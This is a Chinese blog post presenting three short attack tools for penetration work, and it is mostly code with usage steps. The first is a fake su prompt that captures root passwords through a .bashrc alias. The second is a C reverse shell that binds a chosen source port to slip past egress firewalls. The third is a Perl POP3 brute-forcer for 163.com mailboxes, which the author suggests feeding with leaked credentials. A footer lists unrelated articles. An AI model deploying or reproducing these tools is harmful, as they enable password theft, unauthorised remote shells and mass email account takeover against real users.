网站渗透常用到的Python小脚本
0×00
渗透的很多时候,找到的工具并不适用,自己码代码才是王道,下面三个程序都是渗透时在网络上找不到合适工具,自己辛苦开发的,短小使用,求欣赏,求好评。
0×01
记录root密码小工具
root.py
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
#!/usr/bin/python import os, sys, getpass, time current_time = time.strftime("%Y-%m-%d %H:%M") logfile="/dev/shm/.su.log" //密码获取后记录在这里 #CentOS #fail_str = "su: incorrect password" #Ubuntu #fail_str = "su: Authentication failure" #For Linux Korea //centos,ubuntu,korea 切换root用户失败提示不一样 fail_str = "su: incorrect password" try: passwd = getpass.getpass(prompt='Password: '); file=open(logfile,'a') file.write("[%s]t%s"%(passwd, current_time)) //截取root密码 file.write('n') file.close() except: pass time.sleep(1) print fail_str //打印切换root失败提示 |
渗透linux拿到低权限并提权无果时,将这个程序传上去,再将一个低权限用户目录下的.bashrc添加一句alias su='/usr/root.py'; 低权限用户su root 后
成功记录密码。密码记录路径请看脚本
0×02
设置源端口反弹shell
渗透某个linux服务器,反连时目标端口为888不行,53,80还是不行,
Ping了下百度
可以ping通,
那真相只有一个:服务器变态的限制了只能某些提供已某些端口为源端口去连接外面
比如:
只允许接收对80端口的访问数据包,并以80为源端口向外回复数据。
谷歌程序无果,自己查了相关api后写了个。
client-port.c
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 |
#include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> void error(char *msg) { perror(msg); exit(0); } int main(int argc, char *argv[]) { int sockfd, portno, lportno,n; struct sockaddr_in serv_addr; struct sockaddr_in client_addr; struct hostent *server; char buffer[256]; if (argc < 3) { fprintf(stderr,"usage %s hostname port LocalPortn", argv[0]); exit(0); } //三个参数,目标主机,目标主机端口,本地源端口 portno = atoi(argv[2]); sockfd = socket(AF_INET, SOCK_STREAM, 0); if (sockfd < 0) error("ERROR opening socket"); bzero((char *) &client_addr, sizeof(client_addr)); lportno = atoi(argv[3]); client_addr.sin_family = AF_INET; client_addr.sin_addr.s_addr = INADDR_ANY; client_addr.sin_port = htons(lportno); //设置源端口 if (bind(sockfd, (struct sockaddr *) &client_addr, sizeof(client_addr)) < 0) error("ERROR on binding"); server = gethostbyname(argv[1]); if (server == NULL) { fprintf(stderr,"ERROR, no such host "); exit(0); } bzero((char *) &serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; bcopy((char *)server->h_addr, (char *)&serv_addr.sin_addr.s_addr, server->h_length); serv_addr.sin_port = htons(portno); if (connect(sockfd,&serv_addr,sizeof(serv_addr)) < 0) //连接 error("ERROR connecting"); dup2(fd, 0); dup2(fd, 1); dup2(fd, 2); execl("/bin/sh","sh -i", NULL); //执行shell close(fd); } |
用法:
|
1 |
gcc client-port.c -o port |
|
1 |
chmod +x port |
|
1 |
./port 你的IP 你的监听端口 |
如 ./port http://www.exehack.net 80 80
成功反弹shell 提权成功
0×03 邮箱爆破脚本
某个时候
需要爆破一批邮箱
Burp163.pl
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
#!/usr/bin/perl use Net::POP3; $email="pop.163.com"; //设置pop服务器地址 qq为pop.qq.com $pop = Net::POP3->new($email)or die("ERROR: Unable to initiate. "); print $pop->banner(); $pop->quit; $i=0; open(fp1,"user.txt"); @array1=<fp1>; open(fp2,"pass.txt"); @array2=<fp2>; //从文件中获取邮箱用户名及密码 foreach $a(@array1) { $u=substr($a,0,length($a)-1); $u=$u."@163.com"; foreach $b(@array2) { $p=substr($b,0,length($b)-1); print "cracked with ".$u."-----".$p."n"; $i=$i+1; $pop = Net::POP3->new($email)or die("ERROR: Unable to initiate. "); $m=$pop->login($u,$p); //尝试登录邮箱 if($m>0) { print $u."------------".$p."----"."success"."n"; $pop->quit; } //成功登录 else { print $u."------------".$p."----"."failed"."n"; $pop->quit; //登录失败 } } } print $i; |
用法:将要爆破的邮箱的pop服务器写入下面这一行
默认是163邮箱
|
1 |
$email="pop.163.com"; |
再将去除掉@后面部分的邮箱地址比如exehack@163.com 去除后exehack存进去
同目录user.txt中吗,再将字典存进去pass.txt
你可能会说:这个有点鸡肋吧
万一邮箱的密码很复杂
搞到了一个小站的数据,
用这个程序批量测试密码是否就是邮箱密码
呵呵,我啥都没说。
0×04
这三个程序仅供技术研究,如读者用于违法行为,本人概不负责。
网站渗透常用到的Python小脚本的更多相关文章
- 分享一个刷网页PV的python小脚本
下面分享一个小脚本,用来刷网页PV. [root@huanqiu ~]# cat www.py #!/usr/bin/python# coding: UTF-8import webbrowser as ...
- 分享几个python小脚本
by 梁凯 今天我想给大家分享几个python脚本,分别是: 1.公司访问外网认证脚本(最初有同事写过,我优化了一下). 2.统计周报系统所有同事的最近一篇周报. 3.统计测试技术分享里指定一个月所有 ...
- python 小脚本升级-- 钉钉群聊天机器人
一则小脚本(工作中用) 在这篇文章中写的监控的脚本,发送监控的时候 是利用的邮箱,其实在实际,邮箱查收有着不方便性,于是乎升级, 我们工作中,经常用钉钉,那么如果要是能用到钉钉多好,这样我们的监控成功 ...
- python小脚本(18-11.10)-修改excle后批量生成,作用:导入数据时,系统做了不能导入重复数据时的限制时使用 -本来是小白,大神勿扰
from testcase.test_mokuai.operation_excle import OperationExcleimport shutil class test_daoru(): #一个 ...
- 第一个python小脚本
第一个python小实验 前言 作为一个工作1年的linux运维搬砖师来说,发现没点开发能力真的是不好混啊.于是下定决心学习python! 直接上刚写的语句(大神莫鄙视) 通过控制台输入一个账号密码, ...
- 短小实用 渗透用的Python小脚本
渗透的很多时候,找到的工具并不适用,自己码代码才是王道,下面三个程序都是渗透时在网络上找不到合适工具,自己辛苦开发的,短小实用. 一.记录root密码小工具 root.py #!/usr/bin/py ...
- python 小脚本/自动重复访问网站(快速提高网页访问量)
来到csdn也快两个月了,前前后后写了20篇博客,但才1800+的访问量,其中恐怕还有300多是我自己点的 有点桑心(┬_┬) 于是打算另辟蹊径,自己刷访问量代码如下,需要自取 import urll ...
- Python小脚本程序
本文旨在搜集最简单最原子性的代码块,简单清晰容易阅读,然后由用户自己组合.Python代码排版请自行修改. 这里是索引目录: 1. 下载网站文件 2. 下载网站多个文件 1. 下载网站文件 impor ...
- 将二级目录下的文件合并成一个文件的Python小脚本
这个小程序的目的是将二级目录下的文件全部合并成一个文件(其实几级目录都可以,只要做少许改动) #coding:utf8 import sys, os def process(path): new_fi ...
随机推荐
- 100行代码搞定抖音短视频App,终于可以和美女合唱了。
欢迎大家前往腾讯云+社区,获取更多腾讯海量技术实践干货哦~ 本文由视频咖 发表于云+社区专栏 本文作者,shengcui,腾讯云高级开发工程师,负责移动客户端开发 最近抖音最近又带了一波合唱的节奏,老 ...
- 解决WORD2013输入时光标老跳的问题
Word2013有一个非常影响使用的bug.就是在编辑文档时,光标会乱跑,影响输入.微软给出了一个kb2863845 160多MB的补丁包,安装完成后就可以解决这个问题. 补丁下载链接: 链接:ht ...
- 公司管理系列--Facebook 如何化茧成蝶[转]
拒绝传统,看 Facebook 如何以三大法宝化茧成蝶:人才吸引.工程师文化和项目开发流程 我将结合之前在Facebook的四年工作经验,介绍Facebook创新的管理方法以及整个工程文化形成的方 ...
- sqlserver 自增ID插入指定数据(转)
set identity_insert 表名 ON --允许对自增列Id插入指定数据 insert into table_name(Id,Name) values(1,'test') set iden ...
- C#继承中构造函数,成员变量的执行顺序
public class Animal { static string baseClassName; protected string _skincolor; Instancevariable iv ...
- js生成6位随机码
js生成6位随机数字: let chars = '0123456789'; /****默认去掉了容易混淆的字符oOLl,9gq,Vv,Uu,I1****/ let maxPos = chars.len ...
- nginx+nodejs+mysql+memcached服务器后台架设centos6.5
需要的下面四个工具最好都采用yum安装,不要采用编译安装的方法,因为编译安装会导致某些依赖关系丢失. nginx 作为HTTP和反向代理,处理静态页面,动态服务交由nodejs服务. nodejs作为 ...
- vue.js开发之开关(switch)组件
最近开发组件的时候,自定义开发了开关(switch)组件,现将代码整理如下,方便日后复用. toggle-switch.vue <template> <label role=&quo ...
- 解决javac无效的目标发行版1.8问题
之前遇到了几次这个问题,解决了又忘记了,所以特别记录一下这个问题. 遇到这个问题,改pom文件不行,改project的sdk也不行,后面看到网上说真正的原因是maven的runner的jre的环境依然 ...
- java时间工具类
在项目中,很多地方需要根据时间获取相应的数据,将时间格式化,或者时间比较等相关操作.一个良好的工具类不仅可以减少代码冗余,还能促进业务处理,加快进度. /** * @author: lxw * @Da ...